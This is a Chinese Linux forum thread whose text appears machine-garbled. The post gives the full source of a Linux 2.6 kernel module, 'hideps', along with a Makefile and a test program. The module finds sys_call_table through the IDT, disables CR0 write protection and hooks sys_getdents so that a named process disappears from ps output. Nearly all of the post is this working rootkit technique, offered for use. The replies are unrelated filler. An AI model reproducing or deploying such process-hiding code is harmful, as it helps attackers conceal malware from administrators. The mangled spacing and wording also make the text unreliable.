仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 639|回复: 8
打印 上一主题 下一主题

[其他Linux] 来看看:能够在Linux 2.6内核中完成埋没历程的代码

[复制链接]
柔情似水 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 11:19:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
不同版本的Linux命令数量不一样,这里笔者把它们中比较重要的和使用频率最多的命令。
网上良多相似的文章,个中良多示例程序都是在对照老的内核版本上测试过,良多在新的内核下基本没法运转,我搜集了一些相干的材料,并给出一个在linux内核2.6.28(ubuntu9.04)上能够运转的程序代码.比拟其他一些文章,修正以下:
  1.增添了两个函数,清CR0的第20位,否则在交换sys_call_table的时分会报段毛病.
  unsignedintclear_and_return_cr0(void);
  voidsetback_cr0(unsignedintval);
  2.针对ubuntu9.04中,ps命令用的体系挪用是sys_getdents,不是sys_getdents64(在suse体系内里用的是sys_getdents64),以是程序中挟制的是sys_getdents的体系挪用.
  关于埋没历程的道理,能够检察其他相干文章,次要是经由过程int0x80找sys_call_table的地点.
  测试情况:ubuntu9.04内核版本2.6.28
  模块代码以下:
  /*hideps.c*/
  #include<linux/module.h>
  #include<linux/kernel.h>
  #include<asm/unistd.h>
  #include<linux/types.h>
  #include<linux/sched.h>
  #include<linux/dirent.h>
  #include<linux/string.h>
  #include<linux/file.h>
  #include<linux/fs.h>
  #include<linux/list.h>
  #include<asm/uaccess.h>
  #include<linux/unistd.h>
  //#include<sys/stat.h>
  //#include<fcntl.h>
  #defineCALLOFF100
  //利用模块参数来界说必要埋没的历程名
  intorig_cr0;
  charpsname[10]="looptest";
  char*processname=psname;
  //module_param(processname,charp,0);
  struct{
  unsignedshortlimit;
  unsignedintbase;
  }__attribute__((packed))idtr;
  struct{
  unsignedshortoff1;
  unsignedshortsel;
  unsignedcharnone,flags;
  unsignedshortoff2;
  }__attribute__((packed))*idt;
  structlinux_dirent{
  unsignedlongd_ino;
  unsignedlongd_off;
  unsignedshortd_reclen;
  chard_name[1];
  };
  void**sys_call_table;
  unsignedintclear_and_return_cr0(void)
  {
  unsignedintcr0=0;
  unsignedintret;
  asmvolatile("movl%%cr0,%%eax"
  :"=a"(cr0)
  );
  ret=cr0;
  /*clearthe20thbitofCR0,*/
  cr0&=0xfffeffff;
  asmvolatile("movl%%eax,%%cr0"
  :
  :"a"(cr0)
  );
  returnret;
  }
  voidsetback_cr0(unsignedintval)
  {
  asmvolatile("movl%%eax,%%cr0"
  :
  :"a"(val)
  );
  }
  asmlinkagelong(*orig_getdents)(unsignedintfd,
  structlinux_dirent__user*dirp,unsignedintcount);
  char*findoffset(char*start)
  {
  char*p;
  for(p=start;p<start+CALLOFF;p++)
  if(*(p+0)==xff&&*(p+1)==x14&&*(p+2)==x85)
  returnp;
  returnNULL;
  }
  intmyatoi(char*str)
  {
  intres=0;
  intmul=1;
</p>
123下一页


Linux的常用命令find,察看man文档,初学者一定会觉得太复杂而不原意用,但是你一旦学会就爱不释手。
柔情似水 该用户已被删除
沙发
 楼主| 发表于 2015-1-16 12:34:02 | 只看该作者

来看看:能够在Linux 2.6内核中完成埋没历程的代码

要多google,因为我不可能,也不可以给你解答所有内容,我只能告诉你一些关键点,甚至我会故意隐瞒答案,因为在寻找答案的过程中。
  char*ptr;
  for(ptr=str+strlen(str)-1;ptr>=str;ptr--)
  {
  if(*ptr<0||*ptr>9)
  return(-1);
  res+=(*ptr-0)*mul;
  mul*=10;
  }
  if(res>0&&res<9999)
  printk(KERN_INFO"pid=%d,",res);
  printk("\n");
  return(res);
  }
  structtask_struct*get_task(pid_tpid)
  {
  structtask_struct*p=get_current(),*entry=NULL;
  list_for_each_entry(entry,&(p->tasks),tasks)
  {
  if(entry->pid==pid)
  {
  printk("pidfound=%d\n",entry->pid);
  returnentry;
  }
  else
  {
  //printk(KERN_INFO"pid=%dnotfound\n",pid);
  }
  }
  returnNULL;
  }
  staticinlinechar*get_name(structtask_struct*p,char*buf)
  {
  inti;
  char*name;
  name=p->comm;
  i=sizeof(p->comm);
  do{
  unsignedcharc=*name;
  name++;
  i--;
  *buf=c;
  if(!c)
  break;
  if(c==\\){
  buf[1]=c;
  buf+=2;
  continue;
  }
  if(c==\n)
  {
  buf[0]=\\;
  buf[1]=n;
  buf+=2;
  continue;
  }
  buf++;
  }
  while(i);
  *buf=\n;
  returnbuf+1;
  }
  intget_process(pid_tpid)
  {
  structtask_struct*task=get_task(pid);
  //char*buffer[64]={0};
  charbuffer[64];
  if(task)
  {
  get_name(task,buffer);
  //if(pid>0&&pid<9999)
  //printk(KERN_INFO"taskname=%s\n",*buffer);
  if(strstr(buffer,processname))
  return1;
  else
  return0;
  }
  else
  return0;
  }
  asmlinkagelonghacked_getdents(unsignedintfd,
  structlinux_dirent__user*dirp,unsignedintcount)
  {
  //addedbylscforprocess
  longvalue;
  //structinode*dinode;
  unsignedshortlen=0;
  unsignedshorttlen=0;
  //structlinux_dirent*mydir=NULL;
  //end
  //在这里挪用一下sys_getdents,失掉前往的了局
  value=(*orig_getdents)(fd,dirp,count);
  tlen=value;
//遍历失掉的目次列表
  while(tlen>0)
  {
  len=dirp->d_reclen;
  tlen=tlen-len;
  printk("%s\n",dirp->d_name);
  if(get_process(myatoi(dirp->d_name)))
  {
  printk("findprocess\n");
  //发明婚配的历程,挪用memmove将这条历程掩盖失落
  memmove(dirp,(char*)dirp+dirp->d_reclen,tlen);
  value=
上一页123下一页


虽然Linux桌面应用发展很快,但是命令在Linux中依然有很强的生命力。Linux是一个命令行组成的操作系统,精髓在命令行。
柔情似水 该用户已被删除
板凳
 楼主| 发表于 2015-1-16 12:40:37 | 只看该作者

来看看:能够在Linux 2.6内核中完成埋没历程的代码

常常有些朋友在Linux论坛问一些问题,不过,其中大多数的问题都是很基的。
value-len;</P>  printk(KERN_INFO"hidesuccessful.\n");
  }
  if(tlen)
  dirp=(structlinux_dirent*)((char*)dirp+dirp->d_reclen);
  }
  printk(KERN_INFO"finishedhacked_getdents.\n");
  returnvalue;
  }
  void**get_sct_addr(void)
  {
  unsignedsys_call_off;
  unsignedsct=0;
  char*p;
  asm("sidt%0":"=m"(idtr));
  idt=(void*)(idtr.base+8*0x80);
  sys_call_off=(idt->off2<<16)|idt->off1;
  if((p=findoffset((char*)sys_call_off)))
  sct=*(unsigned*)(p+3);
  return((void**)sct);
  }
  staticintfilter_init(void)
  {
  //失掉sys_call_table的偏移地点
  sys_call_table=get_sct_addr();
  if(!sys_call_table)
  {
  printk("get_act_addr():NULL...\n");
  return0;
  }
  else
  printk("sct:0x%x\n",(unsignedint)sys_call_table);
  //将sys_call_table中注册的体系挪用sys_getdents交换成我们本人的函数hack_getdents
  orig_getdents=sys_call_table[__NR_getdents];
  orig_cr0=clear_and_return_cr0();
  sys_call_table[__NR_getdents]=hacked_getdents;
  setback_cr0(orig_cr0);
  printk(KERN_INFO"hideps:moduleloaded.\n");
  return0;
  }
  staticvoidfilter_exit(void)
  {
  orig_cr0=clear_and_return_cr0();
  if(sys_call_table)
  sys_call_table[__NR_getdents]=orig_getdents;
  setback_cr0(orig_cr0);
  printk(KERN_INFO"hideps:moduleremoved\n");
  }
  module_init(filter_init);
  module_exit(filter_exit);
  MODULE_LICENSE("GPL");
  makefile文件以下:
  obj-m:=hideps.o
  EXTRA_CFLAGS:=-Dsymname=sys_call_table
  KDIR:=/lib/modules/$(shelluname-r)/build
  PWD:=$(shellpwd)
  default:
  $(MAKE)-C$(KDIR)SUBDIRS=$(PWD)modules
  clean:
  $(RM)-rf.*.cmd*.mod.c*.o*.ko.tmp*
  编写一个测试程序looptest.c,以下:
  #include<stdio.h>
  intmain(void)
  {
  while(1);
  return0;
  }
  编译该测试程序,#gcclooptest.c-olooptest
  并将该程序在背景运转,然后insmod驱动模块hideps.ko,然后输出ps检察历程,可发明,looptest历程看不到了....
</p>
上一页123


不同版本的Linux命令数量不一样,这里笔者把它们中比较重要的和使用频率最多的命令。
因胸联盟 该用户已被删除
地板
发表于 2015-1-27 10:34:27 | 只看该作者
最好先搜寻一下论坛是否有您需要的文章。这样可以获得事半功倍的效果。
柔情似水 该用户已被删除
5#
 楼主| 发表于 2015-2-5 12:37:49 | 只看该作者
熟读Linux系统有关知识,如系统目录树,有关内容可购书阅读或搜索论坛。
飘灵儿 该用户已被删除
6#
发表于 2015-3-2 21:00:55 | 只看该作者
随着IT从业人员越来越多,理论上会有更多的人使用Linux,可以肯定,Linux在以后这多时间不会消失。
精灵巫婆 该用户已被删除
7#
发表于 2015-3-11 06:33:24 | 只看该作者
学习Linux系统在服务中的配置方法及使用方法。Linux在服务器中应用相当广,应对常用的apache,samba,ftp等服务器基本配置清楚了解。[重点,应巩固学习]
谁可相欹 该用户已被删除
8#
发表于 2015-3-17 23:08:09 | 只看该作者
首先Linux是开源的,这也是最主要的原因,想学windows,Unix,对不起我们没源代码。也正是因为这样,Linux才能够像滚雪球一样越滚越大,发展到现在这种规模。
愤怒的大鸟 该用户已被删除
9#
发表于 2015-3-25 06:59:51 | 只看该作者
对于英语不是很好的读者红旗 Linux、中标Linux这些中文版本比较适合。现在一些Linux网站有一些Linux版本的免费下载,这里要说的是并不适合Linux初学者。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-9-21 17:43

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表